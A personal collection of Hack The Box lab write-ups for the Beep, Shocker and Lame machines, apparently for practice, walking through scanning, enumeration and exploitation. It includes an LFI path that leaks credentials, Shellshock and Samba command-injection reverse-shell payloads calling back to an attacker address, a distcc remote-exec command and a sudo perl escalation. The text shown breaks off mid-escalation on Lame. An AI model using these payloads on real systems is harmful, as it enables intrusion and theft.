# Writeups

Pyrus / Aditya Dindi

Writeups for TryHackMe / HackThebox and any other challenges I do


# Easy Machines

Easy Hack The Box Machines rooted without Metasploit


# Beep Writeup

Without Metasploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatTUv1r4gLKumP4Ixm%2F-MatTaMb3tr42RMoI6wT%2Fimage.png?alt=media\&token=16f1d694-d886-444f-83c6-2901d0a6d96f)

## Reconnaissance&#x20;

Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)** &#x20;

```
nmap -Pn 10.10.10.7
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatTUv1r4gLKumP4Ixm%2F-MatTs65No6gp0Nnk6tr%2Fimage.png?alt=media\&token=19bb1e3f-e057-42fd-b3f0-c8fbce281568)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,25,80,110,111,143,443,993,995,3306,4445,10000
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sV -sC -p 22,25,80,110,111,143,443,993,995,3306,4445,10000 -oN nmap 10.10.10.7
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatVtE1OyGoxFp56LR8%2F-MatWBGv59grP2QWfDop%2Fimage.png?alt=media\&token=b9d1293b-d48a-4697-88a6-fe5b256adf9a)

Just to make sure we are getting all the ports, lets run a nmap scan that covers all ports

```
nmap -sC -sV -p- -oN nmap_AllPorts 10.10.10.7
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatVtE1OyGoxFp56LR8%2F-MatYB9-2sW1Eavan8Sw%2Fimage.png?alt=media\&token=69d4d41b-1097-4c30-b3d6-e93ab08a1c81)

### Ports

* Port 22: OpenSSH 4.3 (protocol 2.0)
* Port 25: Smtp (Postfix smtpd)
* Port 80: http (Apache httpd 2.2.3)
* Port 110: pop3 (Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5\_6.4)
* Port 111: rpcbind&#x20;
* Port 143: imap (Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5\_6.4)
* Port 443: ssl / https
* Port 878: status
* Port 993: ssl / imap (Cyrus imapd)
* Port 995: pop3 (Cyrus pop3d)
* Port 3306: MySQL
* Port 4190: Sieve (Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5\_6.4 (included w/cyrus imap))
* Port 4445: Upnotifyp
* Port 4559: hylafax (HylaFAX 4.3.10)
* Port 5038: asterisk (Asterisk Call Manager 1.1)
* Port 10000: http Miniserv 1.570 (Webmin httpd)

### Notes

* Port 22 is running a OpenSSH service that is old and exploitable.
* Ports 25, 110, 143 and 995 are running mail servers.
* Port 111 is running Rpcbind which is a service used to map other RPC services such as nfs, Mountd, etc.
* Ports 80, 443 and 10000 are running Web Servers
* Port 3306 is running a MySQL database
* Port 4445 is running Upnotifyp which is an online TCP UDP port finder
* Port 4559 is running HylaFAX 4.3.10. HylaFAX is running an open source fax server which allows sharing of fax equipment among computers.
* Port 5038 is running Asterisk Call Manager 1.1.

## Enumeration&#x20;

### Port 443

Lets visit the application&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatfHBx7GDQps9JAG9w%2F-MatgBmbREV98zgzzNGg%2Fimage.png?alt=media\&token=8d1a6a3b-e1d3-428e-bb3e-512056caf268)

Its running a software called Elastix, a unified communications server software that brings together IP PBX, email and other functionalities. We do not get any other information so lets run gobuster to find hidden directories. And we have to skip SSL certification with the flag (-k) as its running on https.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.7 -k
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatiaxGoD2Hlhrhv5iO%2F-MatkdG8Yk1KGYXTWOIB%2Fimage.png?alt=media\&token=442c1662-e904-4b5c-a3cb-f62a94ca8a15)

Looking through directory , we find the version of FreePBX which is 2.8.1.4 but nothing on Elastix, so lets try searching for exploits on searchsploit

```
searchsploit elastix
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatiaxGoD2Hlhrhv5iO%2F-Matj_JHrim9zPqh-Hpm%2Fimage.png?alt=media\&token=ebd987e6-6f5d-4ebf-baea-6724a9edf5bf)

We found few exploits, Cross-site scripting vulnerabilities won't work here as it is a client-side attack and needs user interaction for it to work. We can use exploits such as LFI and Remote Code Execution.

### Port 10000

Lets visit the application

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatiaxGoD2Hlhrhv5iO%2F-Matlcr0cRr-O7kUuU_N%2Fimage.png?alt=media\&token=d983d857-2a2c-45cd-ac49-d9ef447f0d02)

It looks like a login page, and also it gives us what it is running on which is "Webmin", lets go to searchsploit and find vulnerabilities on this.

```
searchsploit webmin
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatiaxGoD2Hlhrhv5iO%2F-MatlvZzXZynC1l7Y7wR%2Fimage.png?alt=media\&token=aaed1b8b-8bc6-4110-bb6f-e8a6d877435b)

There are so many exploits, looking at all of them , we see something in common which is CGI, something that we exploited in the Shocker box on [HackTheBox](https://www.hackthebox.eu/). And the exploit that we used is called Shellshock, so lets try using that exploit.

## Exploitation

### Port 443

We are going to exploit the LFI vulnerability to get root privileges on this system. So lets copy the exploit to our directory.

```
searchsploit -m php/webapps/37637.pl
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatmdlT3X29NoscVYUV%2F-MatnT2tzE6-ySL1RHqt%2Fimage.png?alt=media\&token=1647aa1a-2315-4e23-8c1a-8a499f144a38)

Reading through the exploit, we can see that we are going to exploit the LFI vulnerability which is in the **current\_language** parameter.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatntTrDSTjeFGuscrY%2F-Mato3duDOIrmug2rbkt%2Fimage.png?alt=media\&token=ee7e543b-4e2b-4617-b6bc-663e27c06fc5)

So lets try using this exploit

```
https://10.10.10.7//vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatntTrDSTjeFGuscrY%2F-MatoG0gHCPNbVb9k2yn%2Fimage.png?alt=media\&token=a8097428-566d-49b4-ad4b-3600be50271d)

And we get a lot of information, lets try looking at the source code. Looking at it we find something interesting.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatntTrDSTjeFGuscrY%2F-MatoW-n1KMUSChvpaBn%2Fimage.png?alt=media\&token=7130bf7e-9dd8-4dfc-abc1-45d91ba99609)

Lets try to ssh into the machine using these credentials.

```
ssh admin@10.10.10.7
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatntTrDSTjeFGuscrY%2F-MatprAXx6ljWCfSC6us%2Fimage.png?alt=media\&token=490c15bc-336f-471d-978f-a16a69a3d073)

I got this error, which is something that I did see before, and I think that it is something that is not related to false information so I went to google and searched up this error and found an [article ](https://forum.hackthebox.eu/discussion/3232/beep-box)telling us how to solve this issue. After using it I tried logging in but it said it was the wrong password, so I tried a different username (root) and it worked.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatntTrDSTjeFGuscrY%2F-MatqV7TuT_4hHnEoXwE%2Fimage.png?alt=media\&token=d0348542-e3fc-4064-95a2-57ce47bdbc81)

### Port 10000

Lets use the [Shellshock ](https://ethicalhackingguru.com/how-to-exploit-the-shellshock-vulnerability/)vulnerability, first we have to capture the request to the web application using Burp Suite and change the User Agent field to the following:&#x20;

```
() { :;}; bash -i >& /dev/tcp/10.10.14.19/1234 0>&1
```

And this will give us a reverse shell, so lets start a listener

```
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatqX6-gyiyUT3EiRBu%2F-MatrM-DHtoYxVkdiOc6%2Fimage.png?alt=media\&token=fa45a0ac-a0cd-47f2-ae59-fd202d7e9225)

And now lets run the exploit on Burp Suite, if you want the steps, go to my Shocker writeup, I did not use Burp there but you will be guided till this step and then you can change the User-Agent parameter and send the request.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatqX6-gyiyUT3EiRBu%2F-MatroOYYSyAr2Ykk01F%2Fimage.png?alt=media\&token=54d51255-1737-4533-b105-a75bb2df6dde)

After clicking send, you should a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MatqX6-gyiyUT3EiRBu%2F-Mats6boisV_mEA9ZLDZ%2Fimage.png?alt=media\&token=1405dc05-e9dc-4122-ae11-62e9fbca2ce9)


# Shocker Writeup

Without Metasploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-ManNSob-zyYZLVC74JE%2F-MapCqoBJ90mprNKt4Tx%2Fimage.png?alt=media\&token=04896b51-b725-47ea-a704-baf4d5237f6b)

## Reconnaissance

Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)** &#x20;

```bash
nmap -Pn 10.10.10.56
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapCw5f9r0pscEGKJ2N%2F-MapDq8DlLce-bWTPW0l%2Fimage.png?alt=media\&token=89c6f29d-672d-4698-8c09-946c3367625b)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 80, 2222
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sC -sV -p 80,2222 -oN nmap 10.10.10.56
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapE3zmsluAYuBI0SS_%2F-MapE7konLITt0NWYZpH%2Fimage.png?alt=media\&token=32873bcd-f192-4850-862d-68aa1706ccc4)

## Enumeration

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapEiZ_-PSspckf1Gl9%2F-MapFX3N2xZ6g8Ab2TFQ%2Fimage.png?alt=media\&token=29ea9b70-b306-441a-b18e-61ce1058bc8c)

It is just few words and an image and there is nothing of interest in the source code, so lets use Gobuster to find hidden directories on the webserver.

```
goubster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.56
```

We only got one directory and we did not have access to it. Well now after thinking for a while, I thought about why the name of the machine is "Shocker", and there was only port for us to enumerate and that is port 80 , a webserver, so I went to google and searched something along of the lines of "Shocker website vulnerabilities" and then I found that there is a vulnerability that "Shellshock" can exploit. Further research told me that this vulnerability affect web servers that used CGI (Command Gateway Interface), a system utilized for generating dynamic web content. When thinking of CGI, we usually see directories like /cgi-bin and /cgi-sys, so I searched up different directories like that.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapHIqfsMSQSx0oJDWo%2F-MapHn2_NO1SHIuAPEkb%2Fimage.png?alt=media\&token=7e7d8962-5203-445a-baf4-feff61979499)

And it was a not found error, then I was looking at the next tab and thought why don't I add a backslash at the end of the URL and see what it does. To my surprise, it gave me 403 Forbidden Error, which means that the directory is present but we are not allowed to access it. Now I was curios as to if I could add / to every directory I was searching for with Gobuster and would that give me different results like this experiment did. (**-f**) for adding "/" at the end of every directory search.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapHIqfsMSQSx0oJDWo%2F-MapIwticplL3JIkENTe%2Fimage.png?alt=media\&token=7d87beb0-36b7-4122-b0f6-02a8f199145e)

We were not allowed to access "icons" , so lets try searching for directories or files in /cgi-bin/ with some common extensions. (**-x**) for specifying extensions

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.56/cgi-bin/ -f -x php,html,txt,sh
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapHIqfsMSQSx0oJDWo%2F-MapJytpLlCV6xbjyEiF%2Fimage.png?alt=media\&token=3de62be7-2abd-419a-9824-bb6ab7d546c5)

Looks like we found a file, lets go check what it contains.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapHIqfsMSQSx0oJDWo%2F-MapKBw9YFp81n3fFj9m%2Fimage.png?alt=media\&token=fe910504-327d-48d4-9b57-06789a172dd7)

When visiting the page, we are given the option of downloading the file.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapKUnsx7-fsts5eYSm%2F-MapKg2xGYr8Rq_t2m19%2Fimage.png?alt=media\&token=36a725fe-9956-4ea1-90cd-e313a2e6e995)

## Exploitation

Now we do not have any other information except this bash script and it also has "Content-Type: text/plain" which is interesting , and what is the number one tool for Web exploitation? Burp Suite, so lets try checking it out on Burp Suite, I capturing the request to the script and sent it Repeater.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapMMuiGrehsYltzz0L%2F-MapMRMplTmRZJ8uDJhi%2Fimage.png?alt=media\&token=910582f6-ff9d-4f06-bdd2-33189985dc15)

Now we know from our Enumeration that this is vulnerable to Shellshock so I went to google and searched it up when I found an [article ](https://ethicalhackingguru.com/how-to-exploit-the-shellshock-vulnerability/)showing us how we could send a reverse shell to the webserver and get a shell on our machine, so I tried that.

We have to use a tool called "curl" , a tool that is used to send web requests to a webserver using our terminal.

```
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.19/1234 0>&1' http://10.10.10.56/cgi-bin/user.sh
```

And also start a Netcat listener&#x20;

```
nc -lvnp 1234
```

And when you hit enter on the command, you get a reverse shell, but as a low privilege user

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapMY9TgiVeUmwHvOoE%2F-MapP6yF3odWDLsDoMI0%2Fimage.png?alt=media\&token=bad03a78-8677-42c5-a76c-d1ac9385a991)

## Privilege Escalation

Lets run "sudo -l" to see what we can run as root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapMY9TgiVeUmwHvOoE%2F-MapPgTnnh8PPHjmaqxE%2Fimage.png?alt=media\&token=309107a5-e0f6-42c4-aee5-d6e9129f46c3)

Looks like we can run /usr/bin/perl as root without a password, so now lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/perl/#sudo)and find the command to let us privilege escalate to root. And the command is&#x20;

```
sudo perl -e 'exec "/bin/sh";'
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MapMY9TgiVeUmwHvOoE%2F-MapQFRXq3sk1f2PGYxM%2Fimage.png?alt=media\&token=75485541-cc87-43a2-811a-a5d7dc9bb709)

And we are root!


# Lame Writeup

Without Metasploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Ma_xUTnZRrtzOOYlK-D%2F-Ma_yMFbKKZ6Y3KWs7C7%2Fimage.png?alt=media\&token=556b0b6e-1bd1-4084-8bfe-8938a1ae8224)

## Reconnaissance&#x20;

Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)** &#x20;

```bash
nmap -Pn 10.10.10.3
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Ma_q-4z302xZewkudHd%2F-Ma_rYgPqobF40rZ4opR%2Fimage.png?alt=media\&token=174b61ad-257e-449f-931b-6001a63d10ed)

Nmap Scan on all ports (including UDP) so that we do not miss any ports that did not show up in the initial scan

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa0t7iuN7PXPU0pYx8%2F-Maa319dfLIkWpUwm8r4%2Fimage.png?alt=media\&token=5b1892e8-d5bd-4a7c-900a-2abaedb1886e)

Nmap Scan for service version (**-sV)** running default nmap scripts (**-sC**) enumerating ports 21, 22, 139, 445 (**-p)** and saving it into a file called nmap (**-oN)**.

```bash
nmap -sC -sV -p 21,22,139,445 -oN nmap 10.10.10.3
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Ma_q-4z302xZewkudHd%2F-Ma_sK_RX-cHWukzXoQV%2Fimage.png?alt=media\&token=eba2ccb6-c333-49c0-95d4-367c78ef95fc)

## Enumeration

#### Port 21: FTP; vsftpd 2.3.4

First thing to do is to search this version on google and look for knows exploits&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa0t7iuN7PXPU0pYx8%2F-Maa22dwpa7ASySErItQ%2Fimage.png?alt=media\&token=22f4893f-c27f-409d-a769-77294ada3484)

The first link is a Metasploit tutorial on how to exploit it, but we are doing it without Metasploit so lets click the second link.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa0t7iuN7PXPU0pYx8%2F-Maa2aC1v73JyXu01Cfo%2Fimage.png?alt=media\&token=a72d0275-2b67-4c15-b93a-12694c2d91dc)

Now, we can copy this exploit or we can search it up on searchsploit and copy it to our directory there.

```bash
searchsploit vsftpd 2.3.4
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa0t7iuN7PXPU0pYx8%2F-Maa3gdVgQhEqbI-5xza%2Fimage.png?alt=media\&token=68dfd839-372b-4734-a126-324f72bdb26b)

Now lets copy the exploit to our directory&#x20;

```bash
searchsploit -m unix/remote/49757.py
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa0t7iuN7PXPU0pYx8%2F-Maa44FyMOPvZSUF4sg0%2Fimage.png?alt=media\&token=81183c87-6bf0-4207-90c9-3c26ad354404)

I tried exploiting this using the python exploit we found, but it constantly showed a time out error, which means that the exploit is probably is outdated and does not work anymore.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa6NqA9xCbNBWUyyo6%2F-Maa74u4oxiJOrmoGrkI%2Fimage.png?alt=media\&token=bcc6078f-b7b6-4050-9473-53b759e3ad55)

Next thing to do is to enumerate the Anonymous FTP login allowed we found on our nmap scan

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa6NqA9xCbNBWUyyo6%2F-Maa6uJDAHqqPoYny6_v%2Fimage.png?alt=media\&token=631e4765-fe92-40fc-bbc0-185f1bc4ab9c)

Let us login

Username: anonymous

Password: anonymous

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa6NqA9xCbNBWUyyo6%2F-Maa7Gvsy0dcU7w43zy5%2Fimage.png?alt=media\&token=4c8895f2-cef8-4140-86eb-347e85f7a41a)

Lets list what the ftp server contains

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa6NqA9xCbNBWUyyo6%2F-Maa7af_KZtErhlkNeb1%2Fimage.png?alt=media\&token=37ed4cf2-0e87-4e6a-92ea-b42b4adc6a1f)

and ….. nothing , well, at least we tried. 😉

#### Port 22 OpenSSH 4.7p1

Searching on google does not give us something interesting. And usually we cannot exploit port 22, we only use it to ssh into the machine after we find the username or password from other ports or if we find a id\_rsa file.

#### Port 139 and 445 Samba&#x20;

Usually we find exploits on ports 139 and 445 which are Samba ports, so let us enumerate these ports

**smbclient** is a very common tool used to enumerate Samba ports, so let us use smbclient to access the SMB server.

```bash
smbclient -L 10.10.10.3 # "-L" lists what services are available 
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Maa8HXYtPimzjuXAdvm%2F-Maa92OHOrkgtUMav2k4%2Fimage.png?alt=media\&token=8629e4f8-5657-450d-9f20-3925fd89fd5c)

Now let us look at the permission on the share drives (this can be done with the **-H** flag)

```bash
smbmap -H 10.10.10.3
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaaX8F7hmyMx082hSAp%2F-MaaYC7LvLx_bzoh0vYh%2Fimage.png?alt=media\&token=d448b575-1f9b-48ad-949b-fee759e7e579)

Looking at this , we can see that we have Read and Write permissions for the tmp Disk on the Smb server. Lets go look for vulnerabilities on this version, and code execution ones as we have write permissions on a share.

After searching for a while I found a exploit that looks like the one we want. [CVE-2007-2447](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaaX8F7hmyMx082hSAp%2F-MaabXm98Y26QRu_qihD%2Fimage.png?alt=media\&token=937590ca-fac8-459a-b280-3e59d3063523)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaaX8F7hmyMx082hSAp%2F-Maac8Xrm7IiRqA3tKVQ%2Fimage.png?alt=media\&token=43c5158c-889a-4493-9428-f0fab62e8dd9)

Reading through the exploit, we can understand that we are able to execute arbitrary commands via shell metacharacters. Lets search this on [exploit-db ](https://www.exploit-db.com/exploits/16320)and look at the code.

```ruby
username = "/=`nohup " + payload.encoded + "`"
```

This line tells us that we can add our payload in the "payload.encoded" space and it will work, we can try adding a simple Netcat reverse shell and get a reverse shell.

#### Port 3632 distcc v1

Let us go to google.com and try finding some information on this&#x20;

Google says that this service is vulnerable to a [remote code execution vulnerability](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855) and we can use a nmap script that will give us more information.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaaX8F7hmyMx082hSAp%2F-MaafBO0ZKsb8eMVU_1w%2Fimage.png?alt=media\&token=2941153d-8574-4527-9141-3f01aacfbdc7)

## Exploitation&#x20;

### Samba&#x20;

Lets start a Netcat listener on our machine

```bash
nc -nvlp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaaX8F7hmyMx082hSAp%2F-MaaflqsmBfnXu6mt4Yh%2Fimage.png?alt=media\&token=ec3c468e-8396-4aca-b2d7-1230c488262b)

Now let us login into the smb client that we found while enumerating

```bash
smbclient //10.10.10.3
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaaX8F7hmyMx082hSAp%2F-MaaftkP3ECGD0kJikwC%2Fimage.png?alt=media\&token=f42bb355-98ab-46fc-8db0-90d25eee218c)

Now we have to send the shell metacharacters as input into the username parameter with a reverse shell payload to get a reverse shell on our machine.

We can find a good reverse shell on [pentestmonkey's reverse shell cheat sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). Replace the ip with yours, you can find your ip with this command.

```bash
ifconfig 
```

It is the number next to inet under tun0 (make sure you are connected to the OpenVPN).

Now let us add our payload in the username parameter

```bash
logon "/=`nohup rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f -e /bin/sh`"
```

"logon" is the command used for logging into a user within smbclient

After clicking enter, you should get a reverse shell on your reverse shell listener&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaaX8F7hmyMx082hSAp%2F-Maaj4hJn6vxH5J8ncti%2Fimage.png?alt=media\&token=d7e48e63-0663-4f82-936f-03b5b4422d7d)

And we are root :), Go get both those flags.

### Distcc

In the enumeration part we found out that the service is vulnerable to [CVE-2004-2687](https://www.exploit-db.com/exploits/9915) and we found a [nmap script](https://nmap.org/nsedoc/scripts/distcc-cve2004-2687.html) that can be used to exploit this vulnerability.

```bash
nmap -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='id'"
```

This is the nmap command, we can see that we try running a reverse shell instead of 'id' and try getting a reverse shell.

```bash
nmap -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f -e /bin/sh'"
```

Lets start a Netcat reverse shell listener and wait for a connection after entering this command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-Maao60wQ3PUFPjFuyrc%2Fimage.png?alt=media\&token=61ee71f9-15d9-4fac-b20b-844302d7de0e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-MaaoOg1cKeay8BbUNcT%2Fimage.png?alt=media\&token=bd930bee-a2d4-41ae-9614-c1ed2e70e772)

And we get a reverse shell, but as a user :/, time to privilege escalate and get root

Lets look at the OS version and look for exploits&#x20;

```bash
uname -a
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-MaaonoqdvGx9e3XdHvZ%2Fimage.png?alt=media\&token=2b71b70f-9177-4d58-b544-0bd5770e71b4)

After a lot of searching I found an [exploit ](https://www.exploit-db.com/exploits/8572)that might work, lets copy it form searchsploit&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-MaaqxocYeNhbC1XI7AR%2Fimage.png?alt=media\&token=90fa37a7-725b-464c-baba-430c7795c4dd)

Now we have to transfer it to the victim machine, we can do this by starting a python http server and using "wget" on the victim machine to get the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-MaarNSwuZjeRyDJSG30%2Fimage.png?alt=media\&token=0d617e92-db4f-495c-92f3-dab369917f10)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-MaarcVnG8gqRHckLhAS%2Fimage.png?alt=media\&token=4853c3f7-2667-4481-8290-ac1100c994e6)

We can see that it transferred successfully, now we have to compile the .c file using gcc and change the name to exploit

```bash
gcc 8572.c -o exploit
```

Now we have to run this, to do this we have to look at the instruction they gave us when we found this exploit.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MaakZkINW7WWuvnhTSg%2F-MaasZ3Qup--AhM3y70Q%2Fimage.png?alt=media\&token=932e43fe-063f-4e8e-9b3f-ce89423da10b)

Now first we have to find the PID of the udevd netlink socket, to do this we can use this command

```bash
ps -aux | grep devd
```

